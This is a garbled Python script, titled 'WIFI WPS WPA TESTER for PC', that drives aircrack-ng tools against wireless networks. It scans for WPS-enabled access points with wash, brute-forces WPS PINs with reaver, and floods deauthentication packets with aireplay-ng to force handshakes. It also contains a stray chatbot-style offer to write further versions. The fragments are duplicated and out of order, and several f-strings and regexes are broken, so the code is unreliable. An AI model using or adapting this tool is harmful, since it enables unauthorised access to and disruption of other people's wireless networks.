def run_command(cmd): """Run shell command and return output""" try: result = subprocess.run(cmd, shell=True, capture_output=True, text=True) return result.stdout + result.stderr except Exception as e: return str(e)
def get_wireless_interface(): """Find wireless interface supporting monitor mode""" output = run_command("iwconfig 2>/dev/null | grep -E '^[a-z0-9]+' | awk 'print $1'") interfaces = output.strip().split() for iface in interfaces: if "wlan" in iface or "wlx" in iface: return iface return None
def check_dependencies(): """Check if required tools are installed""" tools = ["airmon-ng", "airodump-ng", "reaver", "wash", "aireplay-ng"] missing = [] for tool in tools: if subprocess.run(f"which tool", shell=True, capture_output=True).returncode != 0: missing.append(tool) if missing: print(RED + f"Missing tools: ', '.join(missing)" + RESET) print(YELLOW + "Install with: sudo apt install aircrack-ng reaver" + RESET) return False return True WIFI WPS WPA TESTER for PC
# Parse output to find BSSID and channel networks = [] lines = output.split("\n") for line in lines: if re.search(r'[0-9A-F]2:[0-9A-F]2:[0-9A-F]2:[0-9A-F]2:[0-9A-F]2:[0-9A-F]2', line.upper()): parts = line.split() if len(parts) >= 2: bssid = parts[0] channel = parts[1] if parts[1].isdigit() else "1" networks.append((bssid, channel)) return networks def wps_pin_attack(mon_interface, bssid, channel): """Perform WPS PIN brute force attack using reaver""" print(YELLOW + f"\nStarting WPS PIN attack on bssid (channel channel)..." + RESET) print(RED + "This can take hours. Press Ctrl+C to stop." + RESET)
# Deauth attack to force reconnection print(YELLOW + "Sending deauthentication packets to force handshake..." + RESET) deauth_cmd = f"sudo aireplay-ng -0 5 -a bssid mon_interface" run_command(deauth_cmd) channel)) return networks def wps_pin_attack(mon_interface
if os.geteuid() != 0: print(RED + "This script must be run as root (sudo)." + RESET) sys.exit(1)
if not check_dependencies(): sys.exit(1) WIFI WPS WPA TESTER for PC
time.sleep(10) proc.terminate()
Would you like a version for (using root + bcmon) or a Windows-only passive scanner next?
def scan_wps_networks(mon_interface): """Scan for WPS-enabled networks using wash""" print(GREEN + "\nScanning for WPS-enabled networks (30 seconds)..." + RESET) output = run_command(f"sudo wash -i mon_interface -c 1 -2 30")